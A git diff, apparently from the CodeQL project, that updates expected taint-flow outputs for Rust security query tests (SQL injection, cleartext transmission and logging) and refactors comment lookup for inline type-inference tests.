file_path.canonicalize() [Ok] | semmle.label | file_path.canonicalize() [Ok] | +| src/main.rs:54:21:54:53 | ... .unwrap() | semmle.label | ... .unwrap() | | src/main.rs:59:5:59:22 | ...::read_to_string | semmle.label | ...::read_to_string | | src/main.rs:59:24:59:32 | file_path | semmle.label | file_path | subpaths diff --git a/rust/ql/test/query-tests/security/CWE-089/SqlInjection.expected b/rust/ql/test/query-tests/security/CWE-089/SqlInjection.expected index 0d6f031a18f..f2b9d39fd16 100644 --- a/rust/ql/test/query-tests/security/CWE-089/SqlInjection.expected +++ b/rust/ql/test/query-tests/security/CWE-089/SqlInjection.expected @@ -1,31 +1,31 @@ #select -| sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | -| sqlx.rs:63:26:63:48 | unsafe_query_1.as_str(...) | sqlx.rs:47:22:47:35 | ...::args | sqlx.rs:63:26:63:48 | unsafe_query_1.as_str(...) | This query depends on a $@. | sqlx.rs:47:22:47:35 | ...::args | user-provided value | -| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:65:30:65:52 | unsafe_query_2.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | -| sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | -| sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | -| sqlx.rs:74:25:74:47 | unsafe_query_1.as_str(...) | sqlx.rs:47:22:47:35 | ...::args | sqlx.rs:74:25:74:47 | unsafe_query_1.as_str(...) | This query depends on a $@. | sqlx.rs:47:22:47:35 | ...::args | user-provided value | -| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:76:29:76:51 | unsafe_query_2.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | -| sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | +| sqlx.rs:62:26:62:46 | safe_query_3.as_str() | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:62:26:62:46 | safe_query_3.as_str() | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | +| sqlx.rs:63:26:63:48 | unsafe_query_1.as_str() | sqlx.rs:47:22:47:35 | ...::args | sqlx.rs:63:26:63:48 | unsafe_query_1.as_str() | This query depends on a $@. | sqlx.rs:47:22:47:35 | ...::args | user-provided value | +| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | +| sqlx.rs:67:30:67:52 | unsafe_query_4.as_str() | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str() | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | +| sqlx.rs:73:25:73:45 | safe_query_3.as_str() | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:73:25:73:45 | safe_query_3.as_str() | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | +| sqlx.rs:74:25:74:47 | unsafe_query_1.as_str() | sqlx.rs:47:22:47:35 | ...::args | sqlx.rs:74:25:74:47 | unsafe_query_1.as_str() | This query depends on a $@. | sqlx.rs:47:22:47:35 | ...::args | user-provided value | +| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | +| sqlx.rs:78:29:78:51 | unsafe_query_4.as_str() | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str() | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value | edges | sqlx.rs:47:9:47:18 | arg_string | sqlx.rs:53:27:53:36 | arg_string | provenance | | | sqlx.rs:47:22:47:35 | ...::args | sqlx.rs:47:22:47:37 | ...::args(...) [element] | provenance | Src:MaD:1 | | sqlx.rs:47:22:47:37 | ...::args(...) [element] | sqlx.rs:47:22:47:44 | ... .nth(...) [Some] | provenance | MaD:10 | | sqlx.rs:47:22:47:44 | ... .nth(...) [Some] | sqlx.rs:47:22:47:77 | ... .unwrap_or(...) | provenance | MaD:5 | | sqlx.rs:47:22:47:77 | ... .unwrap_or(...) | sqlx.rs:47:9:47:18 | arg_string | provenance | | -| sqlx.rs:48:9:48:21 | remote_string | sqlx.rs:49:25:49:52 | remote_string.parse(...) [Ok] | provenance | MaD:8 | +| sqlx.rs:48:9:48:21 | remote_string | sqlx.rs:49:25:49:52 | remote_string.parse() [Ok] | provenance | MaD:8 | | sqlx.rs:48:9:48:21 | remote_string | sqlx.rs:54:27:54:39 | remote_string | provenance | | | sqlx.rs:48:9:48:21 | remote_string | sqlx.rs:56:34:56:89 | MacroExpr | provenance | | | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | provenance | Src:MaD:2 | -| sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | sqlx.rs:48:25:48:78 | ... .unwrap(...) | provenance | MaD:6 | -| sqlx.rs:48:25:48:78 | ... .unwrap(...) | sqlx.rs:48:25:48:85 | ... .text(...) [Ok] | provenance | MaD:11 | -| sqlx.rs:48:25:48:85 | ... .text(...) [Ok] | sqlx.rs:48:25:48:118 | ... .unwrap_or(...) | provenance | MaD:7 | +| sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | sqlx.rs:48:25:48:78 | ... .unwrap() | provenance | MaD:6 | +| sqlx.rs:48:25:48:78 | ... .unwrap() | sqlx.rs:48:25:48:85 | ... .text() [Ok] | provenance | MaD:11 | +| sqlx.rs:48:25:48:85 | ... .text() [Ok] | sqlx.rs:48:25:48:118 | ... .unwrap_or(...) | provenance | MaD:7 | | sqlx.rs:48:25:48:118 | ... .unwrap_or(...) | sqlx.rs:48:9:48:21 | remote_string | provenance | | | sqlx.rs:49:9:49:21 | remote_number | sqlx.rs:52:32:52:87 | MacroExpr | provenance | | -| sqlx.rs:49:25:49:52 | remote_string.parse(...) [Ok] | sqlx.rs:49:25:49:65 | ... .unwrap_or(...) | provenance | MaD:7 | +| sqlx.rs:49:25:49:52 | remote_string.parse() [Ok] | sqlx.rs:49:25:49:65 | ... .unwrap_or(...) | provenance | MaD:7 | | sqlx.rs:49:25:49:65 | ... .unwrap_or(...) | sqlx.rs:49:9:49:21 | remote_number | provenance | | -| sqlx.rs:52:9:52:20 | safe_query_3 | sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | provenance | MaD:3 | -| sqlx.rs:52:9:52:20 | safe_query_3 | sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | provenance | MaD:3 | +| sqlx.rs:52:9:52:20 | safe_query_3 | sqlx.rs:62:26:62:46 | safe_query_3.as_str() | provenance | MaD:3 | +| sqlx.rs:52:9:52:20 | safe_query_3 | sqlx.rs:73:25:73:45 | safe_query_3.as_str() | provenance | MaD:3 | | sqlx.rs:52:24:52:88 | res | sqlx.rs:52:32:52:87 | { ... } | provenance | | | sqlx.rs:52:32:52:87 | ...::format(...) | sqlx.rs:52:24:52:88 | res | provenance | | | sqlx.rs:52:32:52:87 | ...::must_use(...) | sqlx.rs:52:9:52:20 | safe_query_3 | provenance | | @@ -39,17 +39,17 @@ edges | sqlx.rs:54:9:54:22 | unsafe_query_2 [&ref] | sqlx.rs:76:29:76:42 | unsafe_query_2 [&ref] | provenance | | | sqlx.rs:54:26:54:39 | &remote_string [&ref] | sqlx.rs:54:9:54:22 | unsafe_query_2 [&ref] | provenance | | | sqlx.rs:54:27:54:39 | remote_string | sqlx.rs:54:26:54:39 | &remote_string [&ref] | provenance | | -| sqlx.rs:56:9:56:22 | unsafe_query_4 | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | provenance | MaD:3 | -| sqlx.rs:56:9:56:22 | unsafe_query_4 | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | provenance | MaD:3 | +| sqlx.rs:56:9:56:22 | unsafe_query_4 | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str() | provenance | MaD:3 | +| sqlx.rs:56:9:56:22 | unsafe_query_4 | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str() | provenance | MaD:3 | | sqlx.rs:56:26:56:90 | res | sqlx.rs:56:34:56:89 | { ... } | provenance | | | sqlx.rs:56:34:56:89 | ...::format(...) | sqlx.rs:56:26:56:90 | res | provenance | | | sqlx.rs:56:34:56:89 | ...::must_use(...) | sqlx.rs:56:9:56:22 | unsafe_query_4 | provenance | | | sqlx.rs:56:34:56:89 | MacroExpr | sqlx.rs:56:34:56:89 | ...::format(...) | provenance | MaD:4 | | sqlx.rs:56:34:56:89 | { ... } | sqlx.rs:56:34:56:89 | ...::must_use(...) | provenance | MaD:9 | -| sqlx.rs:63:26:63:39 | unsafe_query_1 [&ref] | sqlx.rs:63:26:63:48 | unsafe_query_1.as_str(...) | provenance | MaD:3 | -| sqlx.rs:65:30:65:43 | unsafe_query_2 [&ref] | sqlx.rs:65:30:65:52 | unsafe_query_2.as_str(...) | provenance | MaD:3 | -| sqlx.rs:74:25:74:38 | unsafe_query_1 [&ref] | sqlx.rs:74:25:74:47 | unsafe_query_1.as_str(...) | provenance | MaD:3 | -| sqlx.rs:76:29:76:42 | unsafe_query_2 [&ref] | sqlx.rs:76:29:76:51 | unsafe_query_2.as_str(...) | provenance | MaD:3 | +| sqlx.rs:63:26:63:39 | unsafe_query_1 [&ref] | sqlx.rs:63:26:63:48 | unsafe_query_1.as_str() | provenance | MaD:3 | +| sqlx.rs:65:30:65:43 | unsafe_query_2 [&ref] | sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | provenance | MaD:3 | +| sqlx.rs:74:25:74:38 | unsafe_query_1 [&ref] | sqlx.rs:74:25:74:47 | unsafe_query_1.as_str() | provenance | MaD:3 | +| sqlx.rs:76:29:76:42 | unsafe_query_2 [&ref] | sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | provenance | MaD:3 | models | 1 | Source: lang:std; crate::env::args; command-line-source; ReturnValue.Element | | 2 | Source: repo:https://github.com/seanmonstar/reqwest:reqwest; crate::blocking::get; remote; ReturnValue.Field[crate::result::Result::Ok(0)] | @@ -71,11 +71,11 @@ nodes | sqlx.rs:48:9:48:21 | remote_string | semmle.label | remote_string | | sqlx.rs:48:25:48:46 | ...::get | semmle.label | ...::get | | sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | semmle.label | ...::get(...) [Ok] | -| sqlx.rs:48:25:48:78 | ... .unwrap(...) | semmle.label | ... .unwrap(...) | -| sqlx.rs:48:25:48:85 | ... .text(...) [Ok] | semmle.label | ... .text(...) [Ok] | +| sqlx.rs:48:25:48:78 | ... .unwrap() | semmle.label | ... .unwrap() | +| sqlx.rs:48:25:48:85 | ... .text() [Ok] | semmle.label | ... .text() [Ok] | | sqlx.rs:48:25:48:118 | ... .unwrap_or(...) | semmle.label | ... .unwrap_or(...) | | sqlx.rs:49:9:49:21 | remote_number | semmle.label | remote_number | -| sqlx.rs:49:25:49:52 | remote_string.parse(...) [Ok] | semmle.label | remote_string.parse(...) [Ok] | +| sqlx.rs:49:25:49:52 | remote_string.parse() [Ok] | semmle.label | remote_string.parse() [Ok] | | sqlx.rs:49:25:49:65 | ... .unwrap_or(...) | semmle.label | ... .unwrap_or(...) | | sqlx.rs:52:9:52:20 | safe_query_3 | semmle.label | safe_query_3 | | sqlx.rs:52:24:52:88 | res | semmle.label | res | @@ -95,16 +95,16 @@ nodes | sqlx.rs:56:34:56:89 | ...::must_use(...) | semmle.label | ...::must_use(...) | | sqlx.rs:56:34:56:89 | MacroExpr | semmle.label | MacroExpr | | sqlx.rs:56:34:56:89 | { ... } | semmle.label | { ... } | -| sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | semmle.label | safe_query_3.as_str(...) | +| sqlx.rs:62:26:62:46 | safe_query_3.as_str() | semmle.label | safe_query_3.as_str() | | sqlx.rs:63:26:63:39 | unsafe_query_1 [&ref] | semmle.label | unsafe_query_1 [&ref] | -| sqlx.rs:63:26:63:48 | unsafe_query_1.as_str(...) | semmle.label | unsafe_query_1.as_str(...) | +| sqlx.rs:63:26:63:48 | unsafe_query_1.as_str() | semmle.label | unsafe_query_1.as_str() | | sqlx.rs:65:30:65:43 | unsafe_query_2 [&ref] | semmle.label | unsafe_query_2 [&ref] | -| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str(...) | semmle.label | unsafe_query_2.as_str(...) | -| sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | semmle.label | unsafe_query_4.as_str(...) | -| sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | semmle.label | safe_query_3.as_str(...) | +| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | semmle.label | unsafe_query_2.as_str() | +| sqlx.rs:67:30:67:52 | unsafe_query_4.as_str() | semmle.label | unsafe_query_4.as_str() | +| sqlx.rs:73:25:73:45 | safe_query_3.as_str() | semmle.label | safe_query_3.as_str() | | sqlx.rs:74:25:74:38 | unsafe_query_1 [&ref] | semmle.label | unsafe_query_1 [&ref] | -| sqlx.rs:74:25:74:47 | unsafe_query_1.as_str(...) | semmle.label | unsafe_query_1.as_str(...) | +| sqlx.rs:74:25:74:47 | unsafe_query_1.as_str() | semmle.label | unsafe_query_1.as_str() | | sqlx.rs:76:29:76:42 | unsafe_query_2 [&ref] | semmle.label | unsafe_query_2 [&ref] | -| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str(...) | semmle.label | unsafe_query_2.as_str(...) | -| sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | semmle.label | unsafe_query_4.as_str(...) | +| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | semmle.label | unsafe_query_2.as_str() | +| sqlx.rs:78:29:78:51 | unsafe_query_4.as_str() | semmle.label | unsafe_query_4.as_str() | subpaths diff --git a/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.expected b/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.expected index 763558a9c16..689a333ef71 100644 --- a/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.expected +++ b/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.expected @@ -21,8 +21,8 @@ edges | main.rs:12:27:12:59 | { ... } | main.rs:12:27:12:59 | ...::must_use(...) | provenance | MaD:7 | | main.rs:12:50:12:57 | password | main.rs:12:27:12:59 | MacroExpr | provenance | | | main.rs:13:9:13:11 | url | main.rs:14:28:14:30 | url | provenance | | -| main.rs:13:15:13:34 | ...::parse(...) [Ok] | main.rs:13:15:13:43 | ... .unwrap(...) | provenance | MaD:6 | -| main.rs:13:15:13:43 | ... .unwrap(...) | main.rs:13:9:13:11 | url | provenance | | +| main.rs:13:15:13:34 | ...::parse(...) [Ok] | main.rs:13:15:13:43 | ... .unwrap() | provenance | MaD:6 | +| main.rs:13:15:13:43 | ... .unwrap() | main.rs:13:9:13:11 | url | provenance | | | main.rs:13:26:13:33 | &address [&ref] | main.rs:13:15:13:34 | ...::parse(...) [Ok] | provenance | MaD:8 | | main.rs:13:27:13:33 | address | main.rs:13:26:13:33 | &address [&ref] | provenance | | | main.rs:14:28:14:30 | url | main.rs:14:5:14:26 | ...::get | provenance | MaD:4 Sink:MaD:4 | @@ -78,7 +78,7 @@ nodes | main.rs:12:50:12:57 | password | semmle.label | password | | main.rs:13:9:13:11 | url | semmle.label | url | | main.rs:13:15:13:34 | ...::parse(...) [Ok] | semmle.label | ...::parse(...) [Ok] | -| main.rs:13:15:13:43 | ... .unwrap(...) | semmle.label | ... .unwrap(...) | +| main.rs:13:15:13:43 | ... .unwrap() | semmle.label | ... .unwrap() | | main.rs:13:26:13:33 | &address [&ref] | semmle.label | &address [&ref] | | main.rs:13:27:13:33 | address | semmle.label | address | | main.rs:14:5:14:26 | ...::get | semmle.label | ...::get | diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index c085f429058..92ba9448e38 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -181,37 +181,37 @@ edges | test_logging.rs:167:40:167:63 | MacroExpr | test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | provenance | | | test_logging.rs:167:56:167:63 | password | test_logging.rs:167:40:167:63 | MacroExpr | provenance | | | test_logging.rs:168:34:168:66 | res | test_logging.rs:168:42:168:65 | { ... } | provenance | | -| test_logging.rs:168:34:168:75 | ... .as_str(...) | test_logging.rs:168:27:168:32 | expect | provenance | MaD:1 Sink:MaD:1 | +| test_logging.rs:168:34:168:75 | ... .as_str() | test_logging.rs:168:27:168:32 | expect | provenance | MaD:1 Sink:MaD:1 | | test_logging.rs:168:42:168:65 | ...::format(...) | test_logging.rs:168:34:168:66 | res | provenance | | -| test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:75 | ... .as_str(...) | provenance | MaD:12 | +| test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:75 | ... .as_str() | provenance | MaD:12 | | test_logging.rs:168:42:168:65 | MacroExpr | test_logging.rs:168:42:168:65 | ...::format(...) | provenance | MaD:13 | | test_logging.rs:168:42:168:65 | { ... } | test_logging.rs:168:42:168:65 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:168:58:168:65 | password | test_logging.rs:168:42:168:65 | MacroExpr | provenance | | | test_logging.rs:174:36:174:70 | res | test_logging.rs:174:44:174:69 | { ... } | provenance | | -| test_logging.rs:174:36:174:81 | ... .as_bytes(...) | test_logging.rs:174:30:174:34 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:174:36:174:81 | ... .as_bytes() | test_logging.rs:174:30:174:34 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:174:44:174:69 | ...::format(...) | test_logging.rs:174:36:174:70 | res | provenance | | -| test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:81 | ... .as_bytes() | provenance | MaD:11 | | test_logging.rs:174:44:174:69 | MacroExpr | test_logging.rs:174:44:174:69 | ...::format(...) | provenance | MaD:13 | | test_logging.rs:174:44:174:69 | { ... } | test_logging.rs:174:44:174:69 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:174:62:174:69 | password | test_logging.rs:174:44:174:69 | MacroExpr | provenance | | | test_logging.rs:175:40:175:74 | res | test_logging.rs:175:48:175:73 | { ... } | provenance | | -| test_logging.rs:175:40:175:85 | ... .as_bytes(...) | test_logging.rs:175:30:175:38 | write_all | provenance | MaD:6 Sink:MaD:6 | +| test_logging.rs:175:40:175:85 | ... .as_bytes() | test_logging.rs:175:30:175:38 | write_all | provenance | MaD:6 Sink:MaD:6 | | test_logging.rs:175:48:175:73 | ...::format(...) | test_logging.rs:175:40:175:74 | res | provenance | | -| test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:85 | ... .as_bytes() | provenance | MaD:11 | | test_logging.rs:175:48:175:73 | MacroExpr | test_logging.rs:175:48:175:73 | ...::format(...) | provenance | MaD:13 | | test_logging.rs:175:48:175:73 | { ... } | test_logging.rs:175:48:175:73 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:175:66:175:73 | password | test_logging.rs:175:48:175:73 | MacroExpr | provenance | | | test_logging.rs:178:15:178:49 | res | test_logging.rs:178:23:178:48 | { ... } | provenance | | -| test_logging.rs:178:15:178:60 | ... .as_bytes(...) | test_logging.rs:178:9:178:13 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:178:15:178:60 | ... .as_bytes() | test_logging.rs:178:9:178:13 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:178:23:178:48 | ...::format(...) | test_logging.rs:178:15:178:49 | res | provenance | | -| test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:60 | ... .as_bytes() | provenance | MaD:11 | | test_logging.rs:178:23:178:48 | MacroExpr | test_logging.rs:178:23:178:48 | ...::format(...) | provenance | MaD:13 | | test_logging.rs:178:23:178:48 | { ... } | test_logging.rs:178:23:178:48 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:178:41:178:48 | password | test_logging.rs:178:23:178:48 | MacroExpr | provenance | | | test_logging.rs:181:15:181:49 | res | test_logging.rs:181:23:181:48 | { ... } | provenance | | -| test_logging.rs:181:15:181:60 | ... .as_bytes(...) | test_logging.rs:181:9:181:13 | write | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:181:15:181:60 | ... .as_bytes() | test_logging.rs:181:9:181:13 | write | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:181:23:181:48 | ...::format(...) | test_logging.rs:181:15:181:49 | res | provenance | | -| test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:60 | ... .as_bytes() | provenance | MaD:11 | | test_logging.rs:181:23:181:48 | MacroExpr | test_logging.rs:181:23:181:48 | ...::format(...) | provenance | MaD:13 | | test_logging.rs:181:23:181:48 | { ... } | test_logging.rs:181:23:181:48 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:181:41:181:48 | password | test_logging.rs:181:23:181:48 | MacroExpr | provenance | | @@ -400,7 +400,7 @@ nodes | test_logging.rs:167:56:167:63 | password | semmle.label | password | | test_logging.rs:168:27:168:32 | expect | semmle.label | expect | | test_logging.rs:168:34:168:66 | res | semmle.label | res | -| test_logging.rs:168:34:168:75 | ... .as_str(...) | semmle.label | ... .as_str(...) | +| test_logging.rs:168:34:168:75 | ... .as_str() | semmle.label | ... .as_str() | | test_logging.rs:168:42:168:65 | ...::format(...) | semmle.label | ...::format(...) | | test_logging.rs:168:42:168:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | | test_logging.rs:168:42:168:65 | MacroExpr | semmle.label | MacroExpr | @@ -408,7 +408,7 @@ nodes | test_logging.rs:168:58:168:65 | password | semmle.label | password | | test_logging.rs:174:30:174:34 | write | semmle.label | write | | test_logging.rs:174:36:174:70 | res | semmle.label | res | -| test_logging.rs:174:36:174:81 | ... .as_bytes(...) | semmle.label | ... .as_bytes(...) | +| test_logging.rs:174:36:174:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | | test_logging.rs:174:44:174:69 | ...::format(...) | semmle.label | ...::format(...) | | test_logging.rs:174:44:174:69 | ...::must_use(...) | semmle.label | ...::must_use(...) | | test_logging.rs:174:44:174:69 | MacroExpr | semmle.label | MacroExpr | @@ -416,7 +416,7 @@ nodes | test_logging.rs:174:62:174:69 | password | semmle.label | password | | test_logging.rs:175:30:175:38 | write_all | semmle.label | write_all | | test_logging.rs:175:40:175:74 | res | semmle.label | res | -| test_logging.rs:175:40:175:85 | ... .as_bytes(...) | semmle.label | ... .as_bytes(...) | +| test_logging.rs:175:40:175:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | | test_logging.rs:175:48:175:73 | ...::format(...) | semmle.label | ...::format(...) | | test_logging.rs:175:48:175:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | | test_logging.rs:175:48:175:73 | MacroExpr | semmle.label | MacroExpr | @@ -424,7 +424,7 @@ nodes | test_logging.rs:175:66:175:73 | password | semmle.label | password | | test_logging.rs:178:9:178:13 | write | semmle.label | write | | test_logging.rs:178:15:178:49 | res | semmle.label | res | -| test_logging.rs:178:15:178:60 | ... .as_bytes(...) | semmle.label | ... .as_bytes(...) | +| test_logging.rs:178:15:178:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | | test_logging.rs:178:23:178:48 | ...::format(...) | semmle.label | ...::format(...) | | test_logging.rs:178:23:178:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | | test_logging.rs:178:23:178:48 | MacroExpr | semmle.label | MacroExpr | @@ -432,7 +432,7 @@ nodes | test_logging.rs:178:41:178:48 | password | semmle.label | password | | test_logging.rs:181:9:181:13 | write | semmle.label | write | | test_logging.rs:181:15:181:49 | res | semmle.label | res | -| test_logging.rs:181:15:181:60 | ... .as_bytes(...) | semmle.label | ... .as_bytes(...) | +| test_logging.rs:181:15:181:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | | test_logging.rs:181:23:181:48 | ...::format(...) | semmle.label | ...::format(...) | | test_logging.rs:181:23:181:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | | test_logging.rs:181:23:181:48 | MacroExpr | semmle.label | MacroExpr | From d5d61dd8b3a2149588ee1f7d84139eefbfbb7164 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 3 Apr 2025 12:49:34 +0200 Subject: [PATCH 264/282] Rust: Add inline expectations test for type inference --- .../rust/elements/internal/FunctionImpl.qll | 18 + rust/ql/lib/utils/test/InlineMadTest.qll | 11 +- .../library-tests/type-inference/loop/main.rs | 2 +- .../test/library-tests/type-inference/main.rs | 171 +- .../type-inference/type-inference.expected | 1644 ++++++++--------- .../type-inference/type-inference.ql | 56 +- 6 files changed, 948 insertions(+), 954 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll index ca019bd01e2..594dbaa0bf5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll @@ -5,6 +5,7 @@ */ private import codeql.rust.elements.internal.generated.Function +private import codeql.rust.elements.Comment /** * INTERNAL: This module contains the customizable definition of `Function` and should not @@ -26,5 +27,22 @@ module Impl { */ class Function extends Generated::Function { override string toStringImpl() { result = "fn " + this.getName().getText() } + + /** + * Gets a comment preceding this function. + * + * A comment is considered preceding if it occurs immediately before this + * function or if only other comments occur between the comment and this + * function. + */ + Comment getPrecedingComment() { + result.getLocation().getFile() = this.getLocation().getFile() and + // When a function is preceded by comments its start line is the line of + // the first comment. Hence all relevant comments are found by including + // comments from the start line and up to the line with the function + // name. + this.getLocation().getStartLine() <= result.getLocation().getStartLine() and + result.getLocation().getStartLine() <= this.getName().getLocation().getStartLine() + } } } diff --git a/rust/ql/lib/utils/test/InlineMadTest.qll b/rust/ql/lib/utils/test/InlineMadTest.qll index b79818ad0e9..00000060ab6 100644 --- a/rust/ql/lib/utils/test/InlineMadTest.qll +++ b/rust/ql/lib/utils/test/InlineMadTest.qll @@ -5,16 +5,7 @@ private module InlineMadTestLang implements InlineMadTestLangSig { class Callable = R::Function; string getComment(R::Function callable) { - exists(R::Comment comment | - result = comment.getCommentText() and - comment.getLocation().getFile() = callable.getLocation().getFile() and - // When a function is preceded by comments its start line is the line of - // the first comment. Hence all relevant comments are found by including - // comments from the start line and up to the line with the function - // name. - callable.getLocation().getStartLine() <= comment.getLocation().getStartLine() and - comment.getLocation().getStartLine() <= callable.getName().getLocation().getStartLine() - ) + result = callable.getPrecedingComment().getCommentText() } } diff --git a/rust/ql/test/library-tests/type-inference/loop/main.rs b/rust/ql/test/library-tests/type-inference/loop/main.rs index da1d19e3f62..cee32b0da99 100644 --- a/rust/ql/test/library-tests/type-inference/loop/main.rs +++ b/rust/ql/test/library-tests/type-inference/loop/main.rs @@ -9,6 +9,6 @@ trait T1: T2> { trait T2: T1> { fn bar(self) { - self.foo() + self.foo() // $ method=foo } } diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 287dbeb29c2..2a432d50b8d 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -24,36 +24,36 @@ mod field_access { fn simple_field_access() { let x = MyThing { a: S }; - println!("{:?}", x.a); + println!("{:?}", x.a); // $ fieldof=MyThing } fn generic_field_access() { // Explicit type argument - let x = GenericThing:: { a: S }; - println!("{:?}", x.a); + let x = GenericThing:: { a: S }; // $ type=x:A.S + println!("{:?}", x.a); // $ fieldof=GenericThing // Implicit type argument let y = GenericThing { a: S }; - println!("{:?}", x.a); + println!("{:?}", x.a); // $ fieldof=GenericThing // The type of the field `a` can only be inferred from the concrete type // in the struct declaration. let x = OptionS { a: MyOption::MyNone(), }; - println!("{:?}", x.a); + println!("{:?}", x.a); // $ fieldof=OptionS // The type of the field `a` can only be inferred from the type 